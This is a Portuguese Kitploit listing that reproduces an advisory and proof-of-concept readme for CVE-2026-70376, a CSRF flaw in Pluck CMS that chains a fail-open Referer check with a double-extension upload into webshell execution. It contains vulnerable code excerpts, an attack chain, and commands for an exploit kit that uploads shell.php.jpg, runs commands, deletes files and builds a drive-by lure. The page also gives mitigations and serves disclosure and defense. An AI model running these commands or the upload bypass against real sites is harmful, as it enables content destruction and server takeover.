Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-70376 — Advisory e PoC em Python para CSRF no Pluck CMS: verificação de Referer fail-open aliada a upload de extensão dupla permite implantação de webshell e execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/ilhomjonr/cve-2026-70376
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Advisory e PoC em Python para CSRF no Pluck CMS: verificação de Referer fail-open aliada a upload de extensão dupla permite implantação de webshell e execução remota de código.

Ver Repositório
3há 28 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-70376 — CSRF em todo o site no Pluck CMS → RCE

Verificação de Referer fail-open + sem tokens CSRF + upload de extensão dupla

Uma única visita de administrador a uma página apaga conteúdo, injeta páginas e instala um webshell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

Visão geral · Resumo · Causa raiz · Cadeia de ataque · Exploit · Mitigação · Cronologia


📋 Visão geral

CVE IDCVE-2026-70376
ID de rastreamentoPT-2026-68036
Produtopluck-cms/pluck — Pluck CMS (PHP baseado em arquivos)
Afetado4.7.x até 4.7.21-dev / master atual
FraquezaCWE-352 (CSRF) · CWE-434 (upload sem restrições, amplificador)
CVSS v3.18.0 — Alta · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
VetorRede · sem privilégios · uma visita de página do admin (UI:R)
ImpactoDestruição de conteúdo/DoS, injeção de conteúdo armazenado, RCE em Apache/mod_php
Introduzidocommit f79f916 (dez. 2019) — lógica vulnerável presente desde então
PesquisadorIlhomjon Rustamov (@IlhomjonR)

🔎 Resumo

O painel administrativo do Pluck não possui tokens CSRF por requisição em nenhum lugar do código-fonte. Toda ação administrativa que altera estado é controlada por uma única função, requestedByTheSameDomain(), cuja única defesa é uma comparação do host do Referer — e essa verificação falha em aberto (fail-open): quando uma requisição chega sem nenhum cabeçalho Referer, a função retorna true e a ação é permitida.

Como uma página do atacante controla totalmente se um Referer é enviado (<meta name="referrer" content="no-referrer">), qualquer administrador autenticado que visite uma página maliciosa pode ser forçado a executar ações privilegiadas entre sites (cross-site). Diversas ações destrutivas são executadas via GET, e o Pluck não define nenhum atributo SameSite no PHPSESSID (os navegadores aplicam SameSite=Lax, que ainda acompanha navegações GET de nível superior), portanto elas são alcançáveis entre sites nas configurações padrão dos navegadores.

Uma falha secundária no filtro de upload permite que o mesmo CSRF instale um arquivo de extensão dupla shell.php.jpg — transformando o CSRF em um RCE drive-by em hospedagens Apache/mod_php.


🧬 Causa raiz

1. Verificação de Referer fail-open — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Uma requisição entre sites com um Referer estrangeiro é corretamente rejeitada (o ramo else), o que gera uma falsa sensação de proteção — mas o atacante simplesmente suprime o Referer, cai no ramo fail-open, e a requisição é permitida. Não há nenhuma camada de token por trás dessa verificação.

A barreira é aplicada uma única vez em admin.php e é confiável para todo o switch de ações:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Sem SameSite no cookie de sessão (amplificador)

O Pluck nunca chama session_set_cookie_params(), então o PHPSESSID herda o padrão vazio → os navegadores aplicam SameSite=Lax, que ainda acompanha navegações GET de nível superior. As ações expostas via GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) são, portanto, forjáveis com uma única visita a uma página.

3. Upload de extensão dupla — data/inc/images.php (amplificador de RCE)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Ambas as verificações são trivialmente contornadas:

  • o tipo MIME vem do cliente ($_FILES[...]['type']) → defina image/jpeg;
  • apenas os últimos 4 caracteres do nome do arquivo são validados → shell.php.jpg termina em .jpg e passa.

O arquivo é gravado em images/shell.php.jpg; em uma hospedagem Apache/mod_php com tratamento de múltiplas extensões, ele é executado como PHP.


⛓️ Cadeia de ataque

Uma única visita de administrador autenticado a uma página — sem clique.

root@kitploit:~
flowchart LR
    A[Admin logado no Pluck] --> B[Abre página do atacante]
    B --> C["meta referrer=no-referrer<br/>suprime o Referer"]
    C --> D[Navegação de nível superior / auto-form para admin.php]
    D --> E["Cookie PHPSESSID Lax acompanha<br/>Referer ausente"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruição / DoS]
    F --> G2[editpage -> injeção de conteúdo armazenado]
    F --> G3["upload de imagens -> shell.php.jpg -> RCE"]

As ações forjáveis incluem:

AçãoMétodoImpacto
admin.php?action=deletefile&var1=<f>GETApaga arquivo enviado arbitrário
admin.php?action=deletepage&...GETApaga páginas do site (DoS)
admin.php?action=module_delete&...GETRemove módulos
admin.php?action=logoutGETEncerra a sessão do administrador
admin.php?action=editpagePOSTInjeta conteúdo de página armazenado
admin.php?action=images (upload)POSTInstala shell.php.jpg → RCE

💥 Exploit

Um kit de ferramentas PoC funcional está em exploit/:

  • pluck_csrf_rce.py — comprove a lógica fail-open, envie um webshell via CSRF e execute comandos, apague arquivos via CSRF ou gere uma isca (lure).
  • csrf_poc.html — a página drive-by autônoma entregue ao admin vítima.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

As requisições Python enviam deliberadamente nenhum Referer, reproduzindo exatamente um navegador vítima sob uma política no-referrer. A assimetria na camada HTTP que confirma a lógica:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ A etapa .php.jpg → RCE exige uma hospedagem Apache/mod_php que execute arquivos de múltiplas extensões via PHP. Quando isso não está configurado, o upload via CSRF ainda é bem-sucedido e as primitivas destrutivas delete/deletepage não são afetadas — o CSRF é o bug central; o RCE é o amplificador.


🛠️ Mitigação

  1. Adicione um token CSRF real — um nonce aleatório por sessão em todos os formulários administrativos e em todos os links que alteram estado, verificado no servidor com comparação em tempo constante. Esta é a correção de fato; a verificação do Referer não é um substituto.
  2. Falhe fechado (fail closed) — se a validação de origem for mantida como defesa em profundidade, trate um Referer/Origin ausente como não confiável. Prefira o cabeçalho Origin e rejeite quando ele estiver ausente ou não corresponder.
  3. Nunca altere estado via GET — mova deletefile, deletepage, logout, etc. para POST, de modo que SameSite=Lax forneça proteção básica.
  4. Endureça o cookie de sessão — defina SameSite=Strict (ou Lax), HttpOnly e Secure via session_set_cookie_params().
  5. Corrija o filtro de upload — valide o nome final do arquivo salvo contra uma allow-list de extensões exatas, verifique o conteúdo real da imagem e nunca confie no tipo MIME fornecido pelo cliente.

🕒 Cronologia

DataEvento
2019-12Lógica vulnerável requestedByTheSameDomain() introduzida (f79f916)
2026-07-08Descoberta via auditoria de código-fonte; PoC de ponta a ponta verificado
2026-08-10Advisory elaborado (PT-2026-68036)
2026-08-12CVE-2026-70376 atribuído; advisory + PoC publicados

📚 Referências

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Aviso legal

Este material é publicado para fins educacionais e defensivos e somente para testes de segurança autorizados. Não o utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. O autor não se responsabiliza pelo uso indevido.

Descoberto & documentado por @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Baixar ferramenta